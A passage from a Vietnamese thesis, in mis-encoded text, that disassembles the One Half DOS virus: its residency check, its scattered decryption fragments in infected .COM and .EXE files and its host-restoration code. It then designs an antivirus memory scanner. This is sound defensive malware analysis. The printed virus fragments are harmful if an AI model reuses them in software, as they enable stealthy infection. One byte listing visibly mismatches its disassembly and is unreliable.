TiÕp tôc, chóng ta theo dâi loc_132. Modul loc_132 ®−îc gäi 
khi kh«ng ph¶i lµ chøc n¨ng t×m kiÕm file, tøc lµ khi AH kh«ng 
nhËn c¸c gi¸ trÞ 11h,12h,4Eh,4Fh. 

   loc_132: 
0CFB   cmp   ax,4B53h 
0CFE   jne   loc_133 
0D00   mov   ax,454Bh 
0D03   popf 
0D04   iret 
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Modul loc_132 nh»m xö lý ng¾t 21h øng víi AH=4Bh, 
al=53h. Thùc ra chøc n¨ng AH=4Bh nh»m n¹p mét ch−¬ng tr×nh, 
nã cã hai chøc n¨ng con AL=0 vµ AL=3. Víi AL=0, sÏ n¹p vµ thi 
hµnh ch−¬ng tr×nh, cßn víi AL=3 sÏ n¹p ch−¬ng tr×nh overlay. V× 
vËy modul loc_132 chØ nh»m kiÓm tra xem virus One Half ®· cã 
trong bé nhí hay kh«ng mµ th«i. Nh− ®· nªu trong phÇn tæng 
quan, kü thuËt nµy ®−îc mét sè virus ¸p dông nh»m kiÓm tra sù 
tån t¹i cña m×nh trong bé nhí, −u ®iÓm cña nã lµ thêi gian cho 
viÖc kiÓm tra t−¬ng ®èi nhanh chãng. 

Nh÷ng ph©n tÝch trªn ®©y còng rÊt cã Ých cho chóng ta trong 
c«ng viÖc ph¸t hiÖn ®Æc ®iÓm cña file bÞ l©y nhiÔm, còng nh− c¸ch 
kiÓm tra sù tån t¹i cña m×nh trong vïng nhí cña virus One Half. 
§iÒu nµy sÏ gióp chóng ta trong qu¸ tr×nh ph¸t hiÖn vµ kh«i phôc 
®Üa bÞ nhiÔm One Half. 

ViÖc theo dâi c¸c modul øng víi c¸c chøc n¨ng kh¸c cña int 
21h do virus One Half thay thÕ kh¸ dµi. Do khu«n khæ cña luËn 
¸n, t«i xin phÐp kh«ng tr×nh bµy chi tiÕt ë ®©y, mµ chóng ta sÏ t×m 
hiÓu th«ng qua c¸ch kh¶o s¸t trªn file bÞ l©y nhiÔm virus One 
Half. 

7. Kh¶o s¸t file .COM bÞ nhiÔm virus One Half. 

§Ó kh¶o s¸t trªn file bÞ l©y nhiÔm, chóng ta cã trong tay file 
format.com bÞ l©y nhiÔm vµ file format.ok lµ file kh«ng bÞ l©y 
nhiÔm. File format.com bÞ l©y nhiÔm cã kÝch th−íc lín h¬n ban 
®Çu DD8h (3544) byte. KÝch th−íc cña file format.ok lµ 22916 
byte (5984h), cßn kÝch th−íc cña format.com lµ 26460 byte 
(675Ch). 

Chóng ta sÏ so s¸nh ®èi chiÕu hai file, kÕt hîp dÞch ng−îc ®Ó 
dß theo vÕt ho¹t ®éng cña virus One Half.  
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Nh− truyÒn thèng, hai file kh¸c nhau ë 3 byte ®Çu tiªn, ë file 
bÞ nhiÔm, ®ã lµ mét lÖnh nh¶y: E9 EA 53 (jmp $+53EDh). VÞ trÝ 
nµy kh«ng ph¶i lµ phÇn ®Çu cña m· virus ghÐp thªm vµo file, mµ 
®ã lµ vÞ trÝ mét ®o¹n m· ch−¬ng tr×nh ®· bÞ nã thay thÕ. §o¹n m· 
®ã b¾t ®Çu tõ 53EDh: 

   F9 FB 50 F5 F5 F9 F9 E9 F0 03 

DÞch ng−îc: 

 stc 
 sti 
 push  ax 
 cmc 
 cmc 
 stc 
 jmp   $+03F3h   ; (57E6h) 
§o¹n thø hai bÞ thay thÕ (b¾t ®Çu t¹i offset 57E6h): 

   FC F8 2E 16 F5 E9 03 FE 

DÞch ng−îc: 

 cld 
 clc 
 cs: 
 push  ss 
 cmc 
 jmp   $+FE06h   ; (55F1h) 
§o¹n thø ba bÞ thay thÕ (b¾t ®Çu t¹i offset 55F1h): 

   F9 2E F5 F8 36 1F E9 2B FC 

DÞch ng−îc: 

 stc 
 cs: 
 cmc 
 clc 
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 ss: 
 pop   ds 
 jmp   $+FC2Eh   ; (5225h) 
§o¹n thø t− bÞ thay thÕ (b¾t ®Çu t¹i offset 5225h): 

   36 BF 84 5A F5 F5 E9 AD 03 

DÞch ng−îc: 

 ss: 
 mov   di,5A84h 
 cmc 
 cmc 
 jmp   $+03B0h   ; (55DBh) 
§o¹n thø n¨m bÞ thay thÕ (b¾t ®Çu t¹i offset 55DBh): 

   F8 B9 8C 58 3E FC 2E EB 5B 

DÞch ng−îc: 

 clc 
 mov  cx,588Ch 
 ds: 
 cld 
 cs: 
 jmp   $+5Dh   ; (563Fh) 
§o¹n thø s¸u bÞ thay thÕ (b¾t ®Çu t¹i offset 563Fh): 

   31 0D 3E 36 FB E9 85 02 

DÞch ng−îc: 

 xor   [di],cx 
 ds: 
 ss: 
 sti 
 jmp   $+0288h   ; (58CCh) 
§o¹n thø b¶y bÞ thay thÕ (b¾t ®Çu t¹i offset 58CCh): 

   81 C1 01 B2 E9 48 FC 
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DÞch ng−îc: 

 add   cx,0201h 
 jmp   $+FC48h   ; (551Bh) 

 
§o¹n thø t¸m bÞ thay thÕ (b¾t ®Çu t¹i offset 551Bh): 

   47 FB FD 2E 36 F8 E9 83 03 

DÞch ng−îc: 

 inc   di 
 sti 
 std 
 cs: 
 ss: 
 clc 
 jmp   $+0383h   ; (58A7h) 
§o¹n thø chÝn bÞ thay thÕ (b¾t ®Çu t¹i offset 58A7h): 

   F9 2E F5 F8 36 1F E9 2B FC 

DÞch ng−îc: 

 cmp   di,685Ch 
 jmp   $+FDAFh   ; (565Dh) 

 
§o¹n thø m−êi bÞ thay thÕ (b¾t ®Çu t¹i offset 565Dh): 

   75 E0 E9 71 06 

DÞch ng−îc: 

 jnz   563Fh   ; nh¶y trë l¹i ®o¹n thø s¸u 
 jmp   $+0671h   ; (5CD3h) 

 
Nh− vËy virus One Half ®· thay thÕ 10 ®o¹n m· trong file ban 

®Çu b»ng 10 ®o¹n m· cña m×nh, tËp hîp l¹i, chóng ta thÊy nã lµm 
c¸c c«ng viÖc nh− sau: 
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§o¹n 1   push  ax 
§o¹n 4   mov   di,5A84h  
       ; Lµ kÝch th−íc file ban ®Çu, còng lµ offset 0 

cña virus 
§o¹n 5   mov   cx,588Ch 
§o¹n 6   xor   [di],cx 
§o¹n 7   add   cx,0B201h 
§o¹n 8   inc   di 
§o¹n 9   cmp   di,685Ch  ; Lµ kÝch th−íc cña file bÞ nhiÔm 
§o¹n 10   jnz   §o¹n 6 
    jmp   5CD3h 
Nh− vËy, chóng ta thÊy phÇn cµi trong th©n cña file nguyªn 

thÓ gióp virus One Half gi¶i m· toµn bé phÇn m· cña m×nh råi 
míi nh¶y tíi vÞ trÝ ho¹t ®éng thùc sù. Sau khi gi¶i m·, phÇn ghÐp 
thªm cña virus One Half cña file nguyªn thÓ chÝnh lµ toµn bé 
phÇn th©n cña One Half. 

LÖnh t¹i ®Þa chØ offset 5CD3h cña file t−¬ng øng víi offset 
034Fh trong phÇn th©n cña virus One Half. Chóng ta kh¶o s¸t 
chóng. 

5DD3 call  5DD6h 
5DD6   pop   si     ; si=5DD6h 
    sub   si,352h   ; si=5A84h 
    mov   [si+02B8],si  ;Ghi si=5A84h vµo off 2B8h cña 

m· VR. 
    push  es 
    push  si 
    cld 
    inc word ptr  [si+0DD6h] 
    mov byte ptr  [si+0BABh],74h 
    xor   ax,ax 
    mov   es,ax 
    mov   ax,es:[046Ch] ; ax=®Õm thêi gian 18.2lÇn/s 
    mov   [si+56Ah],ax 
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    mov   [si+0D71h],ax 
    mov   ax,4B53h 
    int   21h    ; KiÓm tra One Half trong bé 

nhí. 
    cmp   ax,454Bh   ; §· nhiÔm trong bé nhí trong 
    jz   5E67h 
    .............................  ; Install virus vµo bé nhí vµ ®Üa 

cøng. 
5E67   jmp   5F1Fh 
    ............................ 
5F1F   pop   bx    ; bx=offset 0 cña virus 
    push  cs 
    pop   ds 
    push  cs 
    pop   es 
    lea   si,[bx+40h]  ; si=offset 40h cña th©n virus 
    add   bx,2Ah   ; bx=offset 2Ah cña virus 
    mov   cx,0Ah 
  loc_loop_1: 
    mov   di,[bx]   
    push  cx 
    mov   cx,0Ah 
    repz  movsb 
    pop   cx 
    inc   bx 
    inc   bx 
    loop  loc_loop_1 
    ............................. 
    mov   si,bx   ; bx=5A94h 
    mov   di,100h 
    mov   cx,3 
    repz  movb 
    pop   ax 
    jmp   5F9Dh 
    ............................ 
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5F9D   jmp far  cs:[bx+14h]   ; jmp cs:100 
§o¹n m· tõ 5F1Fh ®· thÓ hiÖn c¸ch thay thÕ trë l¹i c¸c ®o¹n 

m· ch−¬ng tr×nh nguån sau khi virus ho¹t ®éng xong. Chóng tiÕn 
hµnh thay thÕ 0Ah (10) ®o¹n, mçi ®o¹n 0Ah (10) byte, c¸c ®o¹n 
liªn tiÕp nhau b¾t ®Çu tõ ®Þa chØ offset 40h trong phÇn th©n cña 
virus, cßn ®Þa chØ offset trong ch−¬ng tr×nh nguån ®−îc thay thÕ lµ 
0Ah (10) word liªn tiÕp, b¾t ®Çu tõ ®Þa chØ offset 2Ah trong phÇn 
th©n cña virus. Cßn 3 byte ®Çu tiªn ®−îc cÊt t¹i offset 10h trong 
phÇn th©n cña virus.  

C¸c kÕt qu¶ trªn ®· ®−îc kiÓm tra l¹i trªn mét sè file d¹ng 
.COM bÞ nhiÔm One Half kh¸c nh− COMMAND.COM, 
SK.COM. 

8. Kh¶o s¸t file .EXE bÞ nhiÔm virus One Half. 

§Ó kh¶o s¸t virus One Half nhiÔm trªn file d¹ng .EXE, t«i ®· 
cho nhiÔm trªn file DEBUG.EXE, file bÞ nhiÔm cã kÝch th−íc 
19262 byte (4B3Eh), råi so s¸nh ®èi chiÕu nã trªn file nguyªn thÓ 
ban ®Çu lµ DEBUG.OK, cã kÝch th−íc 15718 byte (3D66h). 
Chóng ta vÉn thÊy r»ng kÝch th−íc cña phÇn virus g¾n thªm vµo 
file vÉn lµ 3544 byte (DD8h). 

Nh− ®· ph©n tÝch trong phÇn tæng quan vÒ 1Ch byte ®Çu tiªn 
cña file. EXE (Exe Header), tr−íc tiªn chóng ta so s¸nh 1Ch byte 
®Çu tiªn nµy cña hai file DEBUG. EXE vµ DEBUG.OK ®· nãi ë 
trªn. 

 

  STT  Size  Item  DEBUG.O
K  

 
DEBUG.E

XE 

1 word Exe file 4D5Ah  4D5Ah 
2 word PartPag  0166h 013Eh 
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3 word PageCnt  001Fh   0026h 
4 word ReloCnt 0001h  0000h 
5 word HdrSize  0008h  0008h 
6 word MinMem  0268h  0268h 
7 word MaxMem  FFFFh  FFFFh 
8 word ReloSS  03D7h  037Bh 
9 word ExeSP  0200h  15E8h 
10 word ChkSum  0000h  0000h 
11 word ExeIP  0100h  041Ch 
12 word ReloCS  FFF0h  037Bh 
13 word TablOff  0052h  0052h 
14 word  Overlay  0000h  0000h 

   
So s¸nh phÇn ®Çu gåm 1Ch cña hai file nµy, chóng ta thÊy 

nh÷ng Item sau ®©y lµ kh¸c nhau: 

  - PartPag, PageCnt (lÏ tÊt nhiªn v× kÝch th−íc file ®· bÞ thay 
®æi) 

  - ReloCnt, ë file bÞ nhiÔm, con sè nµy b»ng 0. 

  - Gi¸ trÞ khëi ®Çu cña c¸c thanh ghi: ReloSS, ReloCS, 
ExeSP, ExeIP. 

Nh− vËy, file DEBUG.EXE bÞ nhiÔm kh«ng cho phÐp DOS 
tiÕn hµnh ph©n bè l¹i b»ng c¸ch ®Æt sè môc trong b¶ng ph©n bè l¹i 
b»ng 0. §iÒu nµy còng dÔ hiÓu v× virus ®· thay thÕ toµn bé hÖ 
thèng thanh ghi ban ®Çu. Sau khi ®äc modul t¶i cña DEBUG.EXE 
vµo vïng nhí t¹i STARTSEG:0, quyÒn ®iÒu khiÓn ®−îc trao cho 
CS:IP trong ®ã CS = ReloCS + STARTSEG, IP = ExeIP. Chó ý 
r»ng kÝch th−íc cña ExeHeader lµ 80h byte, cho nªn quyÒn ®iÒu 
khiÓn ®−îc trao cho ®o¹n m· t¹i Offset CS * 10h + IP + 80h cña 
file, ®èi víi DEBUG.EXE, ®ã lµ ®o¹n m· t¹i Offset 3C4Ch cña 
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file DEBUG.EXE. Gièng nh− ®èi víi file d¹ng .COM, ®o¹n m· 
nµy thay thÕ ®o¹n m· cña file nguyªn thÓ ban ®Çu. 

Sau ®©y lµ m· cña ®o¹n thay thÕ t¹i 3C4Ch: 

  50 F5 FB 90 FD E9 9B FD 

DÞch ng−îc: 

 push   ax 
 cmc 
 sti 
 nop 
 jmp   $+FD9Bh 
§o¹n m· thø hai bÞ thay thÕ t¹i 39EFh: 

  0E 90 F5 E9 3A 02 

DÞch ng−îc: 

 push   cs 
 nop 
 cmc 
 jmp   $+023Ah 
§o¹n m· thø ba bÞ thay thÕ t¹i 3C2Fh: 

  3E F9 FD 1F E9 6C FE 

DÞch ng−îc: 

 ds: 
 stc 
 std 
 pop   ds 
 jmp   $+FE6Ch 
§o¹n m· thø t− bÞ thay thÕ t¹i 3AA2h: 

  F8 F5 FD BB 36 05 EB AB 

DÞch ng−îc: 
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 clc 
 cmc 
 std 
 mov   bx,0536h 
 jmp   $+ABh-100h 
§o¹n m· thø n¨m bÞ thay thÕ t¹i 3A55h: 

  BA 7D A4 90 E9 45 01 

DÞch ng−îc: 

 mov  dx,A47Dh 
 nop 
 jmp   $+0145h 
§o¹n m· thø s¸u bÞ thay thÕ t¹i 3BA1h: 

  3E 90 3E FD FC 31 17 E9 C6 FD 

DÞch ng−îc: 

 ds: 
 nop 
 ds: 
 std 
 cld 
 xor   [bx],dx 
 jmp   $+FDC6h 
§o¹n m· thø b¶y bÞ thay thÕ t¹i 3971h: 

  81 C2 35 D4 F5 F9 E9 02 FF 

DÞch ng−îc: 

 add   dx,D435h 
 cmc 
 stc 
 jmp   $+FF02h 
§o¹n m· thø t¸m bÞ thay thÕ t¹i 387Ch; 

  FB FC 2E 43 F9 E9 AB 02 
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DÞch ng−îc: 

 sti 
 cld 
 cs: 
 inc   bx 
 stc 
 jmp   $+02ABh 
§o¹n thø chÝn bÞ thay thÕ t¹i 3B2Fh: 

  90 F9 81 FB 0E 13 36 E9 90 00 

DÞch ng−îc: 

 nop 
 stc 
 cmp   bx,130Eh 
 ss: 
 jmp   $+0090h 
§o¹n thø m−êi bÞ thay thÕ t¹i 3BC9h: 

  75 D6 E9 E7 04 

DÞch ng−îc: 

 jnz   <§o¹n m· thø s¸u> 
 jmp   $+04E7h 
 Nh− vËy, chóng ta thÊy 10 ®o¹n m· trªn hoµn toµn gièng nh− 

®èi víi file d¹ng .COM, cã thÓ tãm t¾t nh− sau: 

  - §o¹n 1: CÊt gi÷ AX. 

  - §o¹n 2, 3: Cho DS nhËn gi¸ trÞ cña CS, cÇn nh¾c l¹i r»ng 
khi t¶i vµ thi hµnh file .EXE, DOS thu xÕp cho ES = 
DS = PSP 

  - §o¹n 4: LÊy "kÝch th−íc file", tõ ®ã tÝnh ®−îc kÝch th−íc 
file thËt b»ng (CS + HdrSize) * 16 + "KÝch th−íc 
file" 
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  - §o¹n 5: LÊy gi¸ trÞ m· ho¸ ban ®Çu. 

  - §o¹n 7: LÊy gi¸ trÞ t¨ng cña gi¸ trÞ m· ho¸ sau mçi lÇn m·. 

  - §o¹n 6,7,8,9,10: TiÕn hµnh vßng lÆp ®Ó gi¶i m· toµn bé 
phÇn th©n cña virus One Half ghÐp vµo cuèi cña 
file. 

  - §o¹n 10: Sau khi gi¶i m· xong, chuyÓn ®iÒu khiÓn ®Õn 
®o¹n m· t¹i OFFSET 34Fh trong phÇn th©n cña 
virus. 

Trong phÇn tr−íc, khi kh¶o s¸t vÒ file d¹ng .COM bÞ nhiÔm, 
sau khi gi¶i m· xong, quyÒn ®iÒu khiÓn còng ®−îc chyÓn cho 
®o¹n m· t¹i OFFSET 34Fh trong phÇn th©n cña virus.  

885    call  888h 
888    pop   si     ; si=888h 
    sub   si,352h   ; si=536h, trá tíi phÇn ®Çu 

virus OH 
    mov   [si+02B8],si   ;Ghi si=536h vµo off 2B8h 

cña m· VR. 
    push  es 
    push  si 
    cld 
    inc   word ptr [si+0DD6h] 
    mov byte ptr  [si+0BABh],74h 
    xor   ax,ax 
    mov   es,ax 
    mov   ax,es:[046Ch]  ; ax=®Õm thêi gian 

18.2lÇn/s 
    mov   [si+56Ah],ax 
    mov   [si+0D71h],ax 
    mov   ax,4B53h 
    int   21h    ; KiÓm tra One Half trong bé 

nhí. 
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    cmp   ax,454Bh   ; §· nhiÔm trong bé nhí 
trong 

    jz   loc_1 
    .........................................   ; Install virus vµo ®Üa 

cøng. 
loc_1: 
    jmp   loc_2 
    ........................................ 
loc_2: 
    pop   bx    ; bx=offset 0 cña virus 
    push  cs 
    pop   ds 
    push  cs 
    pop   es 
    lea   si,[bx+40h]  ; si=offset 40h cña th©n 

virus 
    add   bx,2Ah   ; bx=offset 2Ah cña virus 
    mov   cx,0Ah 
  loc_loop_3: 
   mov   di,[bx]   
    push  cx 
    mov   cx,0Ah 
    repz  movsb 
    pop   cx 
    inc   bx 
    inc   bx 
    loop  loc_loop_3 
Toµn bé phÇn m· trªn ®· ®−îc kh¶o s¸t, nhiÖm vô c¬ b¶n lµ 

thay thÕ 10 ®o¹n m· trong ch−¬ng tr×nh nguyªn thÓ ®· bÞ virus 
thay thÕ b»ng m· ban ®Çu cña nã. 

Chóng ta kh¶o s¸t phÇn m· tiÕp: 

    pop   es    ; LÊy l¹i es cò, lµ PSP 
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    add   bx,-2Eh   ; bx lµ OFFSET 10h cña m· 
VIRUS. 

    mov   di,es 
    add   di,10h   ; di = STARTSEG 
    add   [bx+16h],di  ; Céng STARTSEG vµo 

ReloCS, 
    add   [bx+0Eh],di  ; ReloSS  
    cmp   [bx+06h],0   ; KiÓm tra sè môc 

ReloCnt 
    jz   loc_34     ; NÕu =0 th× bá qua 

phÇn sau nµy 
    mov   ds,es:[002Ch]  ; Segment m«i tr−êng cña 

DOS 
    xor   si,si 
 loc_30: 
    inc  si 
    cmp word ptr  [si],0 
    jne   loc_30 
    add   si,4 
    xchg  si,dx     ; ds:dx trá tíi tªn file t¶i 

vµ thùc hiÖn 
    mov   ax,3D00h 
    int   21h      ; Open file, 

ax=FileHandle. 
    jc   loc_37  ; Nh¶y nÕu më cã lçi. 
    push  cs 
    pop   ds 
    mov word ptr  [bx+287h],ax ; Ghi thÎ file 

vµo « nhí 
    mov   dx,[bx+18h]  ; 
    mov   ax,4200h   ; 
    call  sub_6     ; Gäi chøc n¨ng ®Æt trá file  
   ; cx:dx tõ ®Çu file 
    push  es 
    xchg  di,ax 
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  loc_31: 
    push  ax     ; CÊt ®Þa chØ ®Çu 

STARTSEG 
    lea   dx,[bx+054h]  ; 
    mov   cx,[bx+06h]   ; 
    cmp   cx,029Eh     ; 
       jb    loc_32      ; 
       mov    cx,29Eh      ; 
   loc_32: 
       sub    [bx+6],cx 
       push   cx 
       shl    cx,1 
       shl    cx,1       ; Sè l−îng byte cÇn ®äc 
       mov    ah,3Fh 
       call   sub_6       ; §äc cx byte tõ vÞ trÝ con 

trá file 
       jc    loc_37 
       pop    cx 
       pop    ax        ; LÊy l¹i STARTSEG 
       xchg   si,dx       ; si trá tíi ®Çu buffer ®Þnh 

vÞ l¹i 
    loc_loop_33: 
       add    [si+2],ax 
       les    di,dword ptr [si] 
       add    es:[di],ax    ; §Þnh vÞ l¹i 
       add    si,4 
       loop   loc_loop_33 
       cmp  word ptr  [bx+6],0 
       ja    loc_31 
       pop    es 
       mov    ah,3Eh 
       call   sub_6 
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Nh− vËy, phÇn m· trªn tiÕn hµnh ®Þnh vÞ l¹i c¸c môc trong 
b¶ng ®Þnh vÞ l¹i thay cho DOS. Sè c¸c môc ®Þnh vÞ l¹i l−u tr÷ 
trong OFFSET 16h cña phÇn th©n cña virus. 

       push   es 
       pop    ds 
       cmp  byte ptr  [bx+12h],0 ; Cã lµ file 

COM hay kh«ng 
       jne    loc_35   ; Nh¶y nÕu lµ file .EXE 
       ........................................    ; Thay thÕ 3 byte ®Çu cña 

file .COM 
     loc_35: 
       pop    ax 
       cli 
       mov    sp,cs:[bx+10h] 
       mov    ss,cs:[bx+0Eh] 
       sti 
 
     loc_36: 
       jmp dword ptr  cs:[bx+14h] 
     loc_37: 
       mov    ah,4Ch 
       int    21h 
Nh− vËy, gièng nh− file d¹ng .COM, ®o¹n m· nµy thay thÕ 

10 ®o¹n trong phÇn ch−¬ng tr×nh nguyªn thÓ ®· bÞ virus thay thÕ, 
sau ®ã tiÕn hµnh ®Þnh vÞ l¹i c¸c môc trong b¶ng ReloItem, tr¶ l¹i 
gi¸ trÞ cña c¸c thanh ghi. 

VÞ trÝ trong phÇn m· virus cÊt c¸c thanh ghi: 

      - Relo CS   : 26h 
      - ExeIP    : 24h 
      - ReloSS   : 1Eh 
      - ExeSP    : 20h 

   ItemCount  : 16h 
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   TableOffset : 28h 

V× kÝch th−íc ®o¹n m· virus lµ 3544 byte (DD6h),  chiÕm 7 
trang (mçi trang 512 byte), riªng trang cuèi bÞ thiÕu 40 byte 
(28h),  cho nªn tõ kÝch th−íc trang, phÇn trang cuèi cña file bÞ 
nhiÔm,  cã thÓ tÝnh l¹i ®−îc sè trang, phÇn trang cuèi cña file 
nguyªn thÓ ban ®Çu, cô thÓ lµ: 

      PageCnt = PageCnt (bÞ nhiÔm) - 7 
      PartPag = PartPag + 28h 
      NÕu PartPag > 200h th× 
          PartPag = PartPag - 200h 
          PageCnt = PageCnt + 1 

C¸c ph©n tÝch trªn ®ñ ®Ó chóng ta kh«i phôc mét file .EXE bÞ 
nhiÔm virus One Half. 
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Ch−¬ng IV.   

ThiÕt kÕ ch−¬ng tr×nh chèng virus. 

Mét ch−¬ng tr×nh ph¸t hiÖn,  phßng chèng vµ kh«i phôc d÷ 
liÖu trªn ®Üa do virus ph¸ ho¹i bao gåm ba phÇn viÖc chÝnh: 

- KiÓm tra bé nhí trong. 
- KiÓm tra Master Boot vµ Boot Sector. 
- KiÓm tra file. 

1. KiÓm tra bé nhí trong. 

KiÓm tra sù hiÖn diÖn cña virus trong bé nhí trong cã thÓ tiÕn 
hµnh b»ng hai c¸ch:  

C¸ch thø nhÊt lµ kiÓm tra m· nhËn biÕt cña virus t¹i ®Þa chØ 
x¸c ®Þnh trong bé nhí. C¸ch nµy cã mét nh−îc ®iÓm lµ kh«ng 
ph¸t hiÖn ®−îc sù tån t¹i trong bé nhí trong cña nh÷ng virus míi 
mµ m· nhËn biÕt kh«ng cã trong CSDL cña ch−¬ng tr×nh kiÓm tra. 
HÇu hÕt c¸c ch−¬ng tr×nh chèng virus hiÖn nay dïng theo c¸ch 
nµy.  

C¸ch thø hai lµ lµm theo c¸ch mµ mét sè virus ®· lµm ®Ó 
kiÓm tra sù tån t¹i cña m×nh trong bé nhí:  Dïng ng¾t 21h víi 
chøc n¨ng ®Æc biÖt ®Ó kiÓm tra. Qua ph©n tÝch virus One Half 
trong phÇn trªn, chóng ta thÊy nã còng lµm nh− vËy: Sö dông ng¾t 
21h víi ax=4B53h, nÕu gi¸ trÞ tr¶ vÒ ax=454Bh th× hiÖn nay One 
Half ®ang tån t¹i trong bé nhí. C¸ch nµy còng cã mét nh−îc 
®iÓm: Thêi gian dµnh cho viÖc kiÓm tra nµy bÞ t¨ng so víi c¸ch 
trªn, ®ång thêi kh«ng ph¶i virus nµo còng sö dông c¸ch kiÓm tra 
nµy. 

V× nh÷ng lý do trªn,  chóng ta sÏ ®−a ra mét c¸ch kiÓm tra 
phèi hîp c¶ hai h×nh thøc trªn:  §Çu tiªn kiÓm tra m· nhËn biÕt 
cña virus,  nÕu b¾t gÆp, ch−¬ng tr×nh sÏ ng¾t (abort),  nÕu kh«ng 
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gÆp sÏ tiÕn hµnh kiÓm tra dung l−îng vïng nhí do DOS qu¶n lý 
vµ hÖ thèng ®Þa chØ cña ng¾t 21h, nÕu cã vÊn ®Ò th× c¶nh b¸o 
(warning) vµ cho phÐp ng−êi sö dông quyÕt ®Þnh tiÕp tôc hay lµ 
kh«ng. NÕu tÊt c¶ ®Òu tèt th× cã thÓ kÕt luËn r»ng kh«ng cã virus 
trong bé nhí. TÊt nhiªn c¸ch thøc mµ chóng ta ®Ò cËp trªn ®©y cã 
mét khuyÕt ®iÓm: Kh«ng chÊp nhËn t¹i thêi ®iÓm kiÓm tra cã mét 
phÇn mÒm th−êng tró chiÕm ng¾t 21h,  song ®iÒu nµy còng cã thÓ 
chÊp nhËn ®−îc. Mét vÊn ®Ò mang tÝnh gi¶i ph¸p kü thuËt,  ®ã lµ 
lÊy ®Þa chØ ng¾t 21h. §Þa chØ nµy kh«ng ph¶i lµ mét gi¸ trÞ kh«ng 
®æi mµ nã thay ®æi tuú theo version cña DOS. Chóng ta sÏ tiÕn 
hµnh lËp b¶ng thèng kª ®Þa chØ cña ng¾t 21h t−¬ng øng víi c¸c 
version cña DOS,  c¨n cø vµo version cña DOS trªn m¸y t¹i thêi 
®iÓm kiÓm tra, chóng ta sÏ tra cøu trªn b¶ng nµy ®Ó lÊy ®−îc ®Þa 
chØ cña ng¾t 21h phôc vô cho qu¸ tr×nh so s¸nh ®èi chiÕu. 

Sau ®©y lµ s¬ ®å khèi cña phÇn kiÓm tra bé nhí trong: 

 
  found virus 
            Test VMEM.DAT   Abort 
 
 
 not found   

 abort 
 
  not OK 
 Test Size Mem & Int21h  Warning, choose 
 
  
 OK 
  continue 
 Continue  
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Ch−¬ng tr×nh sÏ tËp trung vµo hai modul chÝnh ®−îc viÕt b»ng 
assembler 

Modul thø nhÊt: test_vir_mem() 

KiÓm tra m· nhËn biÕt cña c¸c virus cã mÆt trong 
VMEM.DAT trong vïng nhí. 

Gi¸ trÞ tr¶ vÒ cña hµm: 

1: Ph¸t hiÖn ra virus trong vïng nhí. 
2: Kh«ng ph¸t hiÖn thÊy cã c¸c virus cã mÆt trong 
VMEM.DAT trong vïng nhí 

3: §äc VMEM.DAT cã lçi 

Modul nµy sö dông c¸c m· nhËn biÕt (key value) cña c¸c 
virus trong vïng nhí ®−îc l−u tr÷ trong file VMEM.DAT. C¸ch 
thiÕt kÕ nµy gióp cho viÖc më réng vµ ph¸t triÓn ch−¬ng tr×nh, 
nghÜa lµ theo thêi gian, th«ng tin vÒ key value cña c¸c virus sÏ dÇn 
dÇn ®−îc cËp nhËt vµo file VMEM.DAT ®Ó danh môc c¸c virus 
do ch−¬ng tr×nh ph¸t hiÖn sÏ ®−îc bæ sung mµ kh«ng ph¶i thay 
®æi l¹i ch−¬ng tr×nh. 

Khi modul nµy ®−îc thi hµnh, ®Çu tiªn hÖ thèng sÏ t×m vµ më 
file VMEM.DAT, nÕu viÖc më cã lçi (kh«ng cã file nµy hoÆc cã 
nh−ng bÞ háng, kh«ng më ®−îc file ®Ó lµm viÖc), modul nµy sÏ 
b¸o lçi kh«ng t×m ®−îc file VMEM.DAT vµ sÏ tr¶ vÒ hÖ thèng gäi 
gi¸ trÞ lµ 3 nh− ®· nãi ë trªn.  

Cßn nÕu më file VMEM.DAT thµnh c«ng, lÇn l−ît c¸c record 
trong file sÏ ®−îc ®äc ra. Mçi record lµ mét m· nhËn biÕt cña mét 
virus, gåm 25 byte cã cÊu tróc nh− sau: 

2 byte : Segment chøa m· nhËn biÕt virus trong bé nhí. 
2 byte : Offset chøa m· nhËn biÕt virus trong bé nhí. 
1 byte : Sè l−îng byte trong m· nhËn biÕt. 



 
www.nhipsongcongnghe.net 

 
112/233 

10 byte : M· nhËn biÕt virus. 
10 byte : Tªn cña virus. 

Víi mçi record chøa m· nhËn biÕt cña virus ®−îc ®äc ra tõ 
file VMEM.DAT, modul nµy sÏ ®èi chiÕu trong vïng nhí tai ®Þa 
chØ ®−îc chØ ra trong m· nhËn biÕt, nÕu ®o¹n m· t¹i ®Þa chØ ®ã 
trong bé nhí trïng víi ®o¹n m· nhËn biÕt cña virus th× cã nghÜa lµ 
virus t−¬ng øng víi m· nhËn biÕt ®ã hiÖn ®ang th−êng tró trong 
bé nhí, modul sÏ th«ng b¸o tªn cña virus hiÖn ®ang th−êng tró 
trong bé nhí vµ kÕt thóc ch−¬ng tr×nh, tr¶ vÒ cho hÖ thèng gäi gi¸ 
trÞ 1. 

Trong tr−êng hîp ®· ®èi chiÕu hÕt mäi nhËn biÕt l−u tr÷ trong 
VMEM.DAT mµ kh«ng thÊy cã sù trïng lÆp th× cã nghÜa lµ kh«ng 
cã c¸c virus t−¬ng øng ®ã trong bé nhí. Modul kÕt thóc vµ tr¶ vÒ 
cho hÖ thèng gäi gi¸ trÞ 2. 

Trong tr−êng hîp nµy, hÖ thèng sÏ gäi modul test_mem ®Ó 
lµm viÖc tiÕp. 

Modul thø hai: test_mem() 

KiÓm tra dung l−îng vïng nhí vµ ®Þa chØ ng¾t 21h. 

Gi¸ trÞ tr¶ vÒ cña hµm: 

0: OK 
1: Vïng nhí kh«ng ®ñ 640KB 
2: §Þa chØ Int21h bÞ sai. 
3: Vïng nhí kh«ng ®ñ vµ ®Þa chØ Int21h bÞ sai. 

Khi modul Test_vir_mem kÕt thóc vµ tr¶ vÒ gi¸ trÞ 2 th× ®iÒu 
®ã còng kh«ng cã nghÜa lµ kh«ng cã virus trong bé nhí, mµ chØ 
cho phÐp kÕt luËn r»ng kh«ng cã c¸c virus mµ ch−¬ng tr×nh cã 
kh¶ n¨ng ph¸t hiÖn ®−îc cã mÆt trong bé nhí mµ th«i, cã thÓ vÉn 
cã nh÷ng virus kh¸c cã mÆt trong ®ã mµ m· nhËn biÕt cña nã 
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kh«ng cã trong file VMEM.DAT. ChÝnh v× thÕ, sau khi 
test_vir_mem kÕt thóc vµ tr¶ vÒ gi¸ trÞ 2 (kh«ng ph¸t hiÖn ®−îc 
virus), hÖ thèng vÉn ph¶i gäi tiÕp test_mem. 

Test_mem ®−îc thiÕt kÕ ®Ó mang tÝnh dù b¸o, phßng ngõa. 
